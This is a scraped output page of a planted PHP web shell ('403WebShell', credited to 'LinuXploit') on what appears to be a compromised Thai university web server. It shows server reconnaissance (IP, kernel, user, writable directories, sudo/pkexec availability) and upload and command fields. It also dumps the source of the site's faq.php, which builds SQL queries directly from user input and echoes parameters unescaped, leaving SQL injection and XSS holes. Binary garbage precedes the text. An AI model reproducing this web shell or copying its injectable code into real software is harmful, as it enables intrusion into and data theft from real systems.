h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/aritnews/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/aritnews/faq.php
<?php include 'dbconnect.php';?>
<?php include 'headerfaq.php';?>
   <div class="site-blocks-cover inner-page-cover" style="background-image: url(images/manualbanner2.jpg);" data-aos="fade" data-stellar-background-ratio="0.5">
        <!--<div class="container">
          <div class="row align-items-center justify-content-center text-center">

            <div class="col-md-8" data-aos="fade-up" data-aos-delay="400">
              <h1 class="text-white font-weight-light">นิทรรศการออนไลน์</h1>
              <div><a href="index.html">Home</a> <span class="mx-2 text-white">&bullet;</span> <span class="text-white">Blog</span></div>
              
            </div>
          </div>
        </div>-->
      </div>  

<?php
	$pagetitle_text = "รายการคำถาม";

	$strKeyword = null;
	$exhibition_type_id = null;

	if(isset($_POST["txtKeyword"]))
	{
		$strKeyword = $_POST["txtKeyword"];
	}
	if(isset($_GET["txtKeyword"]))
	{
		$strKeyword = $_GET["txtKeyword"];
	}
	if(isset($_GET["exhibition_type_id"]))
	{
		$exhibition_type_id = $_GET["exhibition_type_id"];
	}
?>
        <!--<div class="row justify-content-center mb-5">
          <div class="col-md-12 text-center">
            <h2 class="font-weight-light text-black"><?php //echo $pagetitle_text;?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="index.php"><button type="button" class="btn btn-warning">ดูทั้งหมด</button></a></h2>
<BR>
<form name="frmSearch" method="post" action="<?php //echo $_SERVER['SCRIPT_NAME'];?>">
  <table width="599" border="0" align="right">
    <tr>
      <th>คำค้น
      <input name="txtKeyword" type="text" id="txtKeyword" value="<?php //echo $strKeyword;?>">
      <input type="submit" value="Search"></th>
    </tr>
  </table>
</form>		
          </div>
        </div>	 --> 

    <div class="site-section">
      
      <div class="container">
        <div class="row justify-content-center mb-5">
          <div class="col-md-12 text-center">
			<p class="color-black-opacity-5">

<form name="frmSearch" method="post" action="<?php echo $_SERVER['SCRIPT_NAME'];?>">
  <table width="599" border="0" align="center">
    <tr>
      <th>
      <input name="txtKeyword" type="text" id="txtKeyword" value="<?php echo $strKeyword;?>">
      <input type="submit" value="Search"></th>
	  </tr>
  </table>
</form>	

			</p>
	
<?php
	if ($strKeyword=="" and $exhibition_type_id=="")
	{
		$new_type_show="คำถามทั้งหมด";
?>
<a href="faq.php"><button type="button" class="btn btn-danger">คำถามทั้งหมด</button></a>
<?php	
	}
	else
	{
?>
<a href="faq.php"><button type="button" class="btn btn-warning">คำถามทั้งหมด</button></a>
<?php	
	}	
?>	

<?php
	if ($strKeyword<>"") {
		$new_type_show="คำถามเกี่ยวกับ " . $strKeyword ;
	}
?>	
          </div>
        </div>
            <h2 class="font-weight-light text-black"><?php echo $new_type_show;?></h2>

        <div class="row">
   
    <!--<div class="site-section">
      <div class="container">

        <div class="row justify-content-center mb-5">
          <div class="col-md-7 text-center">
<form name="frmSearch" method="post" action="<?php //echo $_SERVER['SCRIPT_NAME'];?>">
  <table width="599" border="0" align="right">
    <tr>
      <th>คำค้น
      <input name="txtKeyword" type="text" id="txtKeyword" value="<?php //echo $strKeyword;?>">
      <input type="submit" value="Search"></th>
    </tr>
  </table>
</form>	
          </div>
        </div>

        <div class="row mb-3 align-items-stretch">-->
		

<?php	
	/*$sql = "SELECT donate_detail.donate_detail_id, donate_detail.donate_number, donate_detail.send_date, donate_detail.send_name, donate_detail.organization, dbook.dbook_id, dbook.title, dbook.author, dbook.amount, dbook.file_amount, dbook_type.dbook_type_name, dbook_status.dbook_status_name,dbook.dbook_status_id";
	$sql .= " FROM ((dbook INNER JOIN dbook_status ON dbook.dbook_status_id = dbook_status.dbook_status_id) INNER JOIN dbook_type ON dbook.dbook_type_id = dbook_type.dbook_type_id) INNER JOIN donate_detail ON dbook.donate_detail_id = donate_detail.donate_detail_id";
	$sql .= " WHERE ( (dbook.title LIKE '%" . $strKeyword . "%')";
	$sql .= " OR (dbook.author LIKE '%" . $strKeyword . "%')";
	$sql .= " OR (donate_detail.donate_number LIKE '%" . $strKeyword . "%')";
	$sql .= " OR (donate_detail.send_name LIKE '%" . $strKeyword . "%')";
	$sql .= " OR (donate_detail.organization LIKE '%" . $strKeyword . "%') )";
	$sql .= " ORDER BY dbook.dbook_id DESC";*/
	$sql = "SELECT * from exhibition";
	if ($strKeyword <> "") {
		$sql .= " WHERE ( (exhibition_name LIKE '%" . $strKeyword . "%') AND (exhibition_type_id = 12) )"; 
	}
	elseif ($exhibition_type_id <>"")
	{
		$sql .= " WHERE (exhibition_type_id=" . $exhibition_type_id . ")";
	}
	else
	{
		$sql .= " WHERE (exhibition_type_id = 12)";
	}
	$sql .= " ORDER BY create_date DESC, exhibition_id DESC";
	
	$query = mysqli_query($conn,$sql);

	$num_rows = mysqli_num_rows($query);

	$per_page = 20;   // Per Page
	$page  = 1;
	
	if(isset($_GET["Page"]))
	{
		$page = $_GET["Page"];
	}

	$prev_page = $page-1;
	$next_page = $page+1;

	$row_start = (($per_page*$page)-$per_page);
	if($num_rows<=$per_page)
	{
		$num_pages =1;
	}
	else if(($num_rows % $per_page)==0)
	{
		$num_pages =($num_rows/$per_page) ;
	}
	else
	{
		$num_pages =($num_rows/$per_page)+1;
		$num_pages = (int)$num_pages;
	}

	$row_end = $per_page;
	//$row_end = $per_page * $page;
	//if($row_end > $num_rows)
	//{
	//	$row_end = $num_rows;
	//}


	$sql .= " LIMIT $row_start ,$row_end";
	$query = mysqli_query($conn,$sql);

	//$objQuery = mysql_query($strSQL);
	//$objResult = mysql_fetch_array($objQuery);
	//if(!$objResult)
	//{
	//		echo "ไม่มีข้อมูล";
	//}
	//else
	//{
?>
<ul>
<?php
while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
{
?>
		<li><a href="exhibition_detail.php?exhibition_id=<?php echo $result["exhibition_id"];?>" ><?php echo $result["exhibition_name"];?></a></li>
         <!--<div class="col-md-6 col-lg-4 mb-4 mb-lg-4">
            <a href="exhibition_detail.php?exhibition_id=<?php echo $result["exhibition_id"];?>" class="unit-1 text-center">
              <img src="images/<?php echo $result["cover_image"];?>" alt="Image" class="img-fluid">
              <div class="unit-1-text">
                
                <h3 class="unit-1-heading"><?php echo $result["exhibition_name"];?></h3>
              </div>
            </a>
          </div>-->
<!--          <div class="col-md-4 col-lg-4 mb-12 mb-lg-12">
            <div class="h-entry">
              <h2 class="font-size-regular"><a href="exhibition_detail.php?exhibition_id=<?php //echo $result["exhibition_id"];?>"><?php //echo $result["exhibition_name"];?></a></h2>
              <a href="exhibition_detail.php?exhibition_id=<?php //echo $result["exhibition_id"];?>"><img src="images/<?php //echo $result["cover_image"];?>" alt="Image" class="img-fluid"></a>-->
              <!--<div class="meta mb-4">by Theresa Winston <span class="mx-2">&bullet;</span> Jan 18, 2019 at 2:00 pm <span class="mx-2">&bullet;</span> <a href="#">News</a></div>-->
              <!--<p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Natus eligendi nobis ea maiores sapiente veritatis reprehenderit suscipit quaerat rerum voluptatibus a eius.</p>-->
           <!-- </div> 
          </div>-->
<?php
} //while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
?>	
</ul>								
          <!--<div class="col-md-6 col-lg-6 mb-4 mb-lg-4">
            <div class="h-entry">
              <img src="images/hero_bg_1.jpg" alt="Image" class="img-fluid">
              <h2 class="font-size-regular"><a href="#">How to Plan Your Vacation</a></h2>
              <div class="meta mb-4">by Theresa Winston <span class="mx-2">&bullet;</span> Jan 18, 2019 at 2:00 pm <span class="mx-2">&bullet;</span> <a href="#">News</a></div>
              <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Natus eligendi nobis ea maiores sapiente veritatis reprehenderit suscipit quaerat rerum voluptatibus a eius.</p>
            </div> 
          </div>
          <div class="col-md-6 col-lg-6 mb-4 mb-lg-4">
            <div class="h-entry">
              <img src="images/hero_bg_2.jpg" alt="Image" class="img-fluid">
              <h2 class="font-size-regular"><a href="#">How to Plan Your Vacation</a></h2>
              <div class="meta mb-4">by Theresa Winston <span class="mx-2">&bullet;</span> Jan 18, 2019 at 2:00 pm <span class="mx-2">&bullet;</span> <a href="#">News</a></div>
              <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Natus eligendi nobis ea maiores sapiente veritatis reprehenderit suscipit quaerat rerum voluptatibus a eius.</p>
            </div>
          </div>

          <div class="col-md-6 col-lg-6 mb-4 mb-lg-4">
            <div class="h-entry">
              <img src="images/hero_bg_2.jpg" alt="Image" class="img-fluid">
              <h2 class="font-size-regular"><a href="#">How to Plan Your Vacation</a></h2>
              <div class="meta mb-4">by Theresa Winston <span class="mx-2">&bullet;</span> Jan 18, 2019 at 2:00 pm <span class="mx-2">&bullet;</span> <a href="#">News</a></div>
              <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Natus eligendi nobis ea maiores sapiente veritatis reprehenderit suscipit quaerat rerum voluptatibus a eius.</p>
            </div> 
          </div>
          <div class="col-md-6 col-lg-6 mb-4 mb-lg-4">
            <div class="h-entry">
              <img src="images/hero_bg_1.jpg" alt="Image" class="img-fluid">
              <h2 class="font-size-regular"><a href="#">How to Plan Your Vacation</a></h2>
              <div class="meta mb-4">by Theresa Winston <span class="mx-2">&bullet;</span> Jan 18, 2019 at 2:00 pm <span class="mx-2">&bullet;</span> <a href="#">News</a></div>
              <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Natus eligendi nobis ea maiores sapiente veritatis reprehenderit suscipit quaerat rerum voluptatibus a eius.</p>
            </div>
          </div>
          
          <div class="col-md-6 col-lg-6 mb-4 mb-lg-4">
            <div class="h-entry">
              <img src="images/hero_bg_1.jpg" alt="Image" class="img-fluid">
              <h2 class="font-size-regular"><a href="#">How to Plan Your Vacation</a></h2>
              <div class="meta mb-4">by Theresa Winston <span class="mx-2">&bullet;</span> Jan 18, 2019 at 2:00 pm <span class="mx-2">&bullet;</span> <a href="#">News</a></div>
              <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Natus eligendi nobis ea maiores sapiente veritatis reprehenderit suscipit quaerat rerum voluptatibus a eius.</p>
            </div> 
          </div>
          <div class="col-md-6 col-lg-6 mb-4 mb-lg-4">
            <div class="h-entry">
              <img src="images/hero_bg_2.jpg" alt="Image" class="img-fluid">
              <h2 class="font-size-regular"><a href="#">How to Plan Your Vacation</a></h2>
              <div class="meta mb-4">by Theresa Winston <span class="mx-2">&bullet;</span> Jan 18, 2019 at 2:00 pm <span class="mx-2">&bullet;</span> <a href="#">News</a></div>
              <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Natus eligendi nobis ea maiores sapiente veritatis reprehenderit suscipit quaerat rerum voluptatibus a eius.</p>
            </div>
          </div>-->

        </div>
        <div class="row">
          <div class="col-12 text-center">
            <!--<a href="#" class="btn btn-outline-primary border-2 py-3 px-5">Load More Posts...</a>-->
จำนวน <?php echo $num_rows;?> รายการ : <?php echo $num_pages;?> หน้า :
<?php
if($prev_page)
{
	echo " <a href='$_SERVER[SCRIPT_NAME]?Page=$prev_page&txtKeyword=$strKeyword&exhibition_type_id=$exhibition_type_id'><< หน้าที่แล้ว</a> ";
}

for($i=1; $i<=$num_pages; $i++){
	if($i != $page)
	{
		echo "[ <a href='$_SERVER[SCRIPT_NAME]?Page=$i&txtKeyword=$strKeyword&exhibition_type_id=$exhibition_type_id'>$i</a> ]";
	}
	else
	{
		echo "<b> $i </b>";
	}
}
if($page!=$num_pages)
{
	echo " <a href ='$_SERVER[SCRIPT_NAME]?Page=$next_page&txtKeyword=$strKeyword&exhibition_type_id=$exhibition_type_id'>หน้าถัดไป >></a> ";
}							
?>
          </div>
        </div>
      </div>
    </div>

    
<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit